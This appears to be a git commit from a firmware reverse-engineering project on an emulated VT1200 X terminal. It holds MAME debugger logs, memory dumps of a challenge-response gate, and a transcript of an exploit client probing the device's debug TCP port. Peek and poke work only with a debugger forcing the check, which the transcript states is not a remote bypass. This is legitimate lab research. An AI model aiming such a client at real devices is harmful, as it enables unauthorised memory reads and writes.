mirror of
https://git.k-space.ee/arti/vt1200.git
synced 2026-10-30 12:03:54 +02:00
dwt: exploit client and gate analysis; remote execution blocked at the challenge
This commit is contained in:
1 parent
2c7b2e8c2e
commit
5645bb00b3
43 files changed
+1959
No files matched your search
@@ -0,0 +1,9 @@
|
||||
MAME debugger version 0.289 (mame0289-dirty)
|
||||
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
|
||||
Breakpoint 1 set
|
||||
Breakpoint 2 set
|
||||
Breakpoint 3 set
|
||||
REDIRECT from 3F57A0E0
|
||||
|
||||
GATE-TARGET ACCEPT pc=3F58B430 a7=00000000
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
Warning: -video none doesn't make much sense without -seconds_to_run
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
armed gate-target breakpoints at frame 1
|
||||
SAMPLE frame 1 word@0xAECD0=0000 field(bits2..3)=0
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
SAMPLE frame 10 word@0xAECD0=0000 field(bits2..3)=0
|
||||
SAMPLE frame 50 word@0xAECD0=0000 field(bits2..3)=0
|
||||
SAMPLE frame 100 word@0xAECD0=0000 field(bits2..3)=0
|
||||
SAMPLE frame 200 word@0xAECD0=0000 field(bits2..3)=0
|
||||
SAMPLE frame 300 word@0xAECD0=0000 field(bits2..3)=0
|
||||
SAMPLE frame 600 word@0xAECD0=8070 field(bits2..3)=0
|
||||
SAMPLE frame 1000 word@0xAECD0=8070 field(bits2..3)=0
|
||||
BYTES @bit 0xAEC80 (byte 0x15D90): 00 00 00 00 00 00 64 64 00 80 70 80 05 A0 08 00
|
||||
ARM redirect at current pc=3F57A0E0 -> 3F58B280
|
||||
--- timed out without hitting a gate target
|
||||
Average speed: 364.44% (15 seconds)
|
||||
@@ -0,0 +1,21 @@
|
||||
MAME debugger version 0.289 (mame0289-dirty)
|
||||
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
|
||||
Watchpoint 1 set
|
||||
Breakpoint 1 set
|
||||
Breakpoint 2 set
|
||||
Breakpoint 3 set
|
||||
Breakpoint 4 set
|
||||
Breakpoint 5 set
|
||||
Breakpoint 6 set
|
||||
WP cfg bit=000AECD0 data=0000 pc=3F33E060
|
||||
|
||||
WP cfg bit=000AECC0 data=8000 pc=3FB446D0
|
||||
|
||||
WP cfg bit=000AECD0 data=8070 pc=3FB446D0
|
||||
|
||||
WP cfg bit=000AECE0 data=A005 pc=3FB446D0
|
||||
|
||||
WP cfg bit=000AECF0 data=0008 pc=3FB446D0
|
||||
|
||||
WP cfg bit=000AECD0 data=8070 pc=3F33E100
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
Warning: -video none doesn't make much sense without -seconds_to_run
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
SAMPLE frame 1 @0xAECD0=0000 @0xAECD2=0000 pc=3FB44E00
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
SAMPLE frame 10 @0xAECD0=0000 @0xAECD2=0000 pc=3F7056B0
|
||||
SAMPLE frame 50 @0xAECD0=0000 @0xAECD2=0000 pc=3F7056E0
|
||||
SAMPLE frame 100 @0xAECD0=0000 @0xAECD2=0000 pc=3FB44B00
|
||||
SAMPLE frame 200 @0xAECD0=0000 @0xAECD2=0000 pc=3F579870
|
||||
SAMPLE frame 600 @0xAECD0=8070 @0xAECD2=8070 pc=3F7EFA50
|
||||
--- done at frame 700
|
||||
Average speed: 335.91% (9 seconds)
|
||||
@@ -0,0 +1 @@
|
||||
007AE7B0: FEFF 7DA2 0200 6CA2 6302 C0A8 FEFF ...}...l.c....
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: D574 1487 624E C5E0 E9D0 007A 0000 t...Nb....z...
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: E5C5 2C9E 710A A902 710A A902 02A9 ...,.q...q....
|
||||
@@ -0,0 +1 @@
|
||||
007AE830: D574 1487 624E C5E0 E5C5 2C9E 710A t...Nb.....,.q
|
||||
@@ -0,0 +1 @@
|
||||
007AE8B0: A27D FFFE A26C 0002 A8C0 0263 A27E }...l.....c.~.
|
||||
@@ -0,0 +1,467 @@
|
||||
MAME debugger version 0.289 (mame0289-dirty)
|
||||
Currently targeting vt1200 (VT1200 X terminal (v2.2 firmware))
|
||||
Breakpoint 1 set
|
||||
Breakpoint 2 set
|
||||
Breakpoint 3 set
|
||||
Breakpoint 4 set
|
||||
Breakpoint 5 set
|
||||
Breakpoint 6 set
|
||||
Breakpoint 7 set
|
||||
Breakpoint 8 set
|
||||
Breakpoint 9 set
|
||||
Breakpoint A set
|
||||
Breakpoint B set
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C00001A5
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=00000001 -> 0
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C00001A6
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C00001A7
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=00000001 -> 0
|
||||
|
||||
LIVE rdebug_poke entry pc=3F5A1B50
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C00001A8
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=00000001 -> 0
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C00001A9
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=00000001 -> 0
|
||||
|
||||
LIVE rdebug_poke entry pc=3F5A1B50
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C00001AA
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C0000251
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C0000254
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
|
||||
|
||||
LIVE rdebug_poke entry pc=3F5A1B50
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C0000257
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C000025A
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
|
||||
|
||||
LIVE rdebug_poke entry pc=3F5A1B50
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C000025C
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C000029E
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=00000001 -> 0
|
||||
|
||||
LIVE rdebug_poke entry pc=3F5A1B50
|
||||
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
|
||||
LIVE challenge sent a13=007AE7B0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE pre-transform a13=007AE7B0 reply=C00002A2
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE cipher-in a13=007AE9D0 keyptr=007CB2D0 sboxptr=007C7290
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE cipher-out a13=007AE9D0 keyptr=007CB2D0
|
||||
|
||||
Data dumped successfully
|
||||
LIVE memcmp-args a9=007AE8B0 a11=007AE830
|
||||
|
||||
Data dumped successfully
|
||||
Data dumped successfully
|
||||
LIVE challenge memcmp FORCED a8=00000001 -> 0
|
||||
|
||||
LIVE rdebug_jump entry pc=3F5A3890
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
007CB2D0: 3E2C 021F 3001 0D08 232D 1F28 0008 1219 ,>...0..-#(.....
|
||||
007CB350: 330B 2039 1A17 0600 2732 3C33 0409 0813 .39 ....2'3<....
|
||||
007CB3D0: 0E37 181D 0B02 0701 2D11 2B3C 2C29 2012 7........-<+),.
|
||||
007CB450: 3B3A 0725 0002 033D 1E0A 0B3B 2C27 1000 :;%...=...;.',..
|
||||
007CB4D0: 113B 1C0B 1020 2E21 2D05 2C2B ;... .!..-+,
|
||||
@@ -0,0 +1,35 @@
|
||||
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
|
||||
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
|
||||
vt1200: scanline#1 line=1 enabled=1
|
||||
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
|
||||
LIVE armed emulator-side breakpoints
|
||||
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
|
||||
vt1200: scanline#2 line=0 enabled=1
|
||||
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
|
||||
vt1200: scanline#3 line=1 enabled=1
|
||||
vt1200: scanline#4 line=2 enabled=1
|
||||
LIVE frame 500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 1000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 1500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 2000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 2500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 3000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 3500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 4000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 4500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 5000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 5500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 6000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 6500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 7000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 7500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 8000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 8500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 9000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 9500 word@0xAECD0=8070 field2..3=0
|
||||
LIVE frame 10000 word@0xAECD0=8070 field2..3=0
|
||||
LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400
|
||||
LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes
|
||||
LIVE snapshot failed: .../code/k-space/vt1200/dwt/evidence/scripts/live_probe.lua:69: attempt to index a nil value (field 'integer index')
|
||||
LIVE exiting at frame 10401 (payload seen at 10281)
|
||||
Average speed: 323.56% (144 seconds)
|
||||
@@ -0,0 +1 @@
|
||||
007AE830: 816A 0B04 29F2 7944 816A 0B04 29F2 j....)Dyj....)
|
||||
@@ -0,0 +1 @@
|
||||
007AE7B0: 7EFB A1FE 0200 EEFD 6302 C0A8 76FB .~.......c...v
|
||||
@@ -0,0 +1 @@
|
||||
007AE830: BF8E 3606 D768 7610 BF8E 3606 D768 ...6h..v...6h.
|
||||
@@ -0,0 +1 @@
|
||||
007AE7B0: 9EEB 9DDE 0200 EEDB 6302 C0A8 96EB .........c....
|
||||
@@ -0,0 +1 @@
|
||||
007AE830: 331F 9C08 7E43 46C8 E477 B6FD AA6E .3..C~.Fw...n.
|
||||
@@ -0,0 +1 @@
|
||||
007AE7B0: EEF0 E2EE 0200 DDEC 6302 C0A8 E6F0 .........c....
|
||||
@@ -0,0 +1 @@
|
||||
007AE830: DE90 B409 8572 1758 DE90 B409 8572 ....r.X.....r.
|
||||
@@ -0,0 +1 @@
|
||||
007AE7B0: E6EA 2BBD 0200 65BA 6302 C0A8 DEEA ...+...e.c....
|
||||
@@ -0,0 +1 @@
|
||||
007AE830: DE90 B409 8572 1758 DE90 B409 8572 ....r.X.....r.
|
||||
@@ -0,0 +1 @@
|
||||
007AE7B0: 0EE5 A2CE 0200 21CB 6302 C0A8 06E5 .......!.c....
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: BF8E 3606 D768 7610 E9D0 007A 0000 ...6h..v..z...
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: BF8E 3606 D768 7610 D768 7610 1076 ...6h..vh..vv.
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: 7E3A F1B7 E5A1 13F4 E9D0 007A 0000 :~........z...
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: 7E3A F1B7 E5A1 13F4 E5A1 13F4 F413 :~............
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: 2717 464F 5699 49B3 E9D0 007A 0000 .'OF.V.I..z...
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: 2717 464F 5699 49B3 5699 49B3 B349 .'OF.V.I.V.II.
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: 816A 0B04 29F2 7944 E9D0 007A 0000 j....)Dy..z...
|
||||
@@ -0,0 +1 @@
|
||||
007AE9D0: 816A 0B04 29F2 7944 29F2 7944 4479 j....)Dy.)DyyD
|
||||
@@ -0,0 +1,84 @@
|
||||
Live TCP attempt against the stock firmware — transcript
|
||||
=========================================================
|
||||
|
||||
Host: 192.168.99.2 (VT1200, Ethernet 08:00:2b:16:4b:5a), MAME vt1200 with the
|
||||
LANCE on tap-mess-1000-0 / bridge vt1200, VT1200_SKIP_LEVEL1=1, fresh nvram.
|
||||
Service: "DEBUG TCP Port", port 771.
|
||||
|
||||
--- 1. Liveness + echo challenge (remote; gate A passes, gate B fails) ---
|
||||
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --verbose
|
||||
[.] connected to 192.168.99.2:771
|
||||
[>] 00 00 00 07
|
||||
[<] len=17 flag=0x7f payload=f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
|
||||
[.] answering echo challenge with f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
|
||||
[>] f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e
|
||||
error: connection closed after 0/4 bytes
|
||||
|
||||
emulator side (dwt/evidence/run-live/debug.log):
|
||||
LIVE accept_debug_conn entry pc=3F58AD60
|
||||
LIVE dispatcher entry pc=3F59F320
|
||||
LIVE dwt_prf challenge entry pc=3F59FDC0
|
||||
LIVE challenge memcmp a8=FFFFFFFF (0=equal)
|
||||
|
||||
=> echo FAILS; the session is killed.
|
||||
|
||||
--- 2. Word-swapped challenge (computed) ---
|
||||
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --challenge computed --verbose
|
||||
[<] len=17 flag=0x7f payload=ea 06 25 ac 00 02 22 ca 02 63 a8 c0 e9 fe 25 ad
|
||||
[.] answering computed challenge with ac 25 06 ea ca 22 02 00 c0 a8 63 02 ad 25 fe e9
|
||||
[>] ...
|
||||
error: connection closed after 0/4 bytes
|
||||
|
||||
emulator side:
|
||||
LIVE challenge memcmp a8=00000001 (0=equal)
|
||||
|
||||
=> byte order fixed, but the firmware's in-place transform still differs.
|
||||
|
||||
--- 3. Debugger-assisted loader proof (challenge comparison forced to 0) ---
|
||||
|
||||
The live_probe.lua breakpoint at 0x3F5A0920 executes `a8 = 0` before resuming.
|
||||
This is NOT a remote bypass.
|
||||
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --opcode 7
|
||||
opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00')
|
||||
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 8
|
||||
peek 0x3f200000 (8) -> e9 7a e2 f5 aa aa 55 55
|
||||
(== first 8 bytes of vt1200_v22.bin; the address is a BIT address)
|
||||
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEADBEEF
|
||||
poke 0x01820000 <- de ad be ef: ok
|
||||
$ python3 dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 4
|
||||
peek 0x01820000 (4) -> de ad be ef
